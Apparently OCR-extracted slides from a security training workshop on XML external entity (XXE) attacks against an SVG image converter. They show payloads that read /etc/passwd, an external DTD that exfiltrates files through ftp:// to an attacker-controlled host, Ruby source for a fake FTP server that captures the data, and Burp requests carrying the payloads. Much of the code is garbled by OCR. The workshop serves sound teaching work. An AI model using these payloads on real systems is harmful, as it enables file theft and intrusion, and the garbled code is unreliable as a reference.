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IMAGiInE Converter

Simple and easy image conversion.

<?xml version="1.0"72>
<svg zmlns="http://www.w3.org/2000/svg"” width="12cm"
height="1Zcm">
<g style="fill-opacity:0.7; stroke:black; stroke-
width:0.1lcm; ">
<circle ecx="6cm" cy="2cm" r="100" style="fill:red;"
transform="translate (0,50})" />
<circle cx="6cm" cy="2cm" r="100" style="fill:blue;"
transform="translate (70,150})" />
<circle cx="6cm" cy="2cm" r="100" style="fill:green;"
transform="translate (-70,150)"/>
</g>
</svg>

Preview




Direct response from XXE

IMAGiInE Converter

Simple and easy image conversion.

<!DOCTYPE sygl
<1ENTITY file SYSTEM "file:///etc/passwd">
1=
<svg xmlns="http://www.w3.org/2000/svg" width="120cm"
height="12cm">

“text H="2Z0" y="35" s»ifile:«/texts>

</gvg>

rootix: O:0iroct:/root:/binfbashdaem on:x: 1: 1: daem on:fusr/sbin: fusr/sbin/nologink

Not ideal ®

In some case, you might have no response

Preview




Side-Channel XXE with external DTD

XML

Request DTD

Request FTP




XML payload

IMAGiInE Converter

Simple and easy image conversion.

:ﬁ:ﬁ& ;“r%i{e SYSTEM "file:///"> - DTD hOSt over HTTP

<IENTITY % dtd SYSTEM "http://shell-workshop.gosec.co:9881/remote ftp.dtd™>

transform="translate(-7@,158)" />

</g»
</svg>

Preview




XML payload

Q Jupyter remote ftp.dtd 10 hours ago

File Edit View Language

<?xml version="1.8" encoding="UTF-8"7>

<IENTITY % all "<!ENTITY send SYSTEM /

"ftp://test:Rfile;@shell-workshop.gosec.co:8443/ " >" > %Kall,; FTP service

L B



: Jupyter ftp_server.rbv afew seconds ago

File Edit View Language

1 require 'socket’

2 / . . .
3 ftp_server = TCPServer.new 8443 Edit FTP to have somethlng unique
4

5 log = File.open{ "xxe-ftp.log”, "a")

6

o | Toon g ot %o In real test, you should test using :
] Thread.start(ftp_server.accept) do |ftp client| - 443
18 puts "FTP. New client connected”

11 ftp_client.puts(”228 xxe-ftp-server”) - 80
12 loop {

13 req = ftp_client.gets() - 21
14 break if reg.nil?

15 puts "< "+req

16 log.write "get req: #{req.inspect}in”

18 if reg.include? "LIST™

19 ftp_client.puts("druwx<rwxrux 1 owner group 1 Feb 21 84:37 test"™)

28 fitp_client.puts("158 Opening BIMNARY mode data connection for /bin/1ls™)

21 ftp_client.puts("226 Transfer complete.")

22 elsif req.include? "USER"

23 ftp_client.puts("331 password please - wersion check")

24 elsif req.include? "PORT"

25 puts ! PORT received”

26 puts "» 286 PORT command ok”

7 ftp client.puts("288 PORT command ok")

28 else

29 #puts "> 238 more data pleasel”

38 ftp_client.puts("238 more data please!”™)

31 end

32 }

33 puts "FTP. Connection closad”

34 end

35 end

36  end

37

38  loop do

39 csleep(16668)

48 end



IMAGinE Converter PJtting the pieces together

Stmple and easy image conversion.

<text w="28" y="35" class="small">&send;< text:
<g style="fill-opacity:8.7; stroke:black; stroke-wi

transform="translate(a,5a)" />
___________ cy="" " r="180" style="fill:blue;"
transform="translate(72,158)" />
<circle cx="gcm" cy="2cm" r="100" style="fill:green;"

2. DTD is loaded!

t'ang%ﬁ'm="tra"slstei-?6J158)”I>
<fg>
</3vE>
165.227.128.70 - -

Preview

jovyanf jupyterlab-workshop: ~/labz/exercise ? f ruby 1 : : ruby ftp server.rb
FTF. New client connected
OSEE test

1. Send XML payload

er—java—home

1lib&4

media .

mnt 3. FTP URL is evaluated!
Gljt
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Using repeater efficiently wi

1|2 x

Go Cancel < || [>T

th HackVertor

Request

Raw Params Headers Hex

GET

/convertImage.action?svg=%3C%2 IDOCTYPES20svgsZ0%5B%20%0A%20%3C52 IENTITYS20%25%20f1i1e%2
OA%25ded%3E%5D%3E%0A%3Csvg%s20xmlns%3D%22hetps 34/ /wuw. w3 . org/ 2000/ svgs2 width%3D%ZZ1
%0A%Z0%20%20%20%3Cgs20styles3D%22fill-opacitys3A0. 75365 20strokes3Ablacks3BsZ0stroke-wi
0s20%Z0%Z0cransform%3D%22translates280%2C50%29% 20/%3E
%:D%:D%:D%:D%:D%20%ZDtranstrm%SD%ZZtransJ.at,e%:E?D%:CJ..SD%29%'32%2DI%SE%DA%SD%ZD%ZD%ZD%:
Z0%20transform$3D%22translat=%20-7052CL50%29%22/%3E50A%20520%20%20%3C/ g%3ES0AY3C/ svys3
Host: xxe-workshop.gosec.co:B0ZZ2

User-Agent: Mozilla/5.0 (Windows NT L10.0; Winé4:; =£4; rv:57.0) Gecko/Z01001l01 Firefox/
Accept: */*

Accept-Language: =n-U3,=n;q=0.5

Accept-Encoding: gzip, deflate

Feferer: http://wxe-workshop.gosec.co:8022/

Cookie: JSESSICMNID=4lFZC5A074665F7LEBTIEZO0ECISTTAIC

Connection: close

21 <||+]|[=]||Type a

1% 2 «
Go Cancel | |7 =¥ Target: http:/ [xxe-workshop.gosec.co:8022 | & |/
Request

Raw Params Headers Hex

GET fconvertTmage.action?svg=<@urlencode_0>{!DOCTYPE svg [

<V!ENTITY % file SYSTEM "file:///">

<!ENTITY % dtd SYSTEM "http://shell-workshop.gosec.co:900L/remote ftp.ded">
sded; ] >

<gvy xmlns="http://wwv.w3.org/2000/3vyg" width="12cm" height="1Zcm">

<text x="I0" y="35" class="small"»i&send;</text>
Content-Length: 71

<g style="fill-opacity:0.7; stroke:black; stroke-width:0.lcm; ">
<gcircle cx="gcm" cy="Icm" r="100" style="fill:red:;"
transform="translate (0,500 " /=
<circle cx="&cm" cy="IZcm" r="100" style="fill:hlu=s;"
transform="translate (70, 150" />
<gircle cx="gcm" cy="Icm" r="100" style="fill:green;"
transform="translate (-70, 150) "/ />
</ g
</ v
<@/urlencods 0> HTTP/1.1
Host: xxe-workshop.gosec.co:8022

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; =£4; rv:57.0) Gecko/Z01l00101 Firefox/57.0

Accept: w/w

Accept-Language: en-US, en;qg=0.5

Aecept-Encoding: gzip, deflate

Referer: http://xxe-workshop.gosec.co:B022

Cookie: JSESSIONID=4lFZ05A0746E5FT71IE872EZO0ECO5TTALC
Connection: close

2| =] *] =] | Type a seara

L

0 matches




Using the fake FTP server interactivelly

x  +

@jupyterlab

c a
" Jupyter

ll-workshop.gosec.co,

jovyang jupyterlab-workshop
FTP. New client nnected
¢ USER test

PASS .dockerenwv
< bin
< boot

er—java—home
e
home
lib
lib64

New client conn

ruby £tp server.rb

&

Logout

Control Panel

Burp Intruder Re er Window Help Backslash

Sequencer Decoder Comparer Extender
Target Proxy Spider
1= |2 x
Go Cancel

Project options
Scanner

User options

Alerts JSOM Beautifier
Intruder

Hackvertor
Repeater

Target: http:/ /xxe-workshop.gosec.co:8022 & 7

Raw Params Headers Hex

Waiting

GET /convertImage.actid IDOCTYPE svyg [ A
<!ENTITY % file SYSTE
<!ENTITY % dtd SYSTEM 0. gosec.co:5001/remote_ftp.ded™>
sdrdd;]>
<svg xmlns="http://www.w3.org/2 "llcm">
text>
Content-Length: 7&l
<circle
<circle
<circle cx="gcm" 'filligresn;"
transform=
</svg>
<@_ﬂ'urlencnc‘l@_ﬂ:> HTTF/Ll.1
Host: xxe-workshop.gosec.co:
User-Agent: Mozilla/5.0 (Wing 10.0; Viné4: x€4: rv:57.0) Gecko/20Ll00L0L Firefox/57.0
Accept: */*
Accept-Language: en—-US,en; o=
Accept-Encoding: gzip, deflaf
Referer: http://xxe-workshop 2/
Cookie: JSESSICNID=41FI95L07 DECSSTTAIC
Connection: close
~
=] [ =] |1 0 matches
Raw Headers Hex Render Metadd
A
v
2| =<1 [+] =] [ 74 - - 0 matches




Bonus:
Try to get RCE on the server
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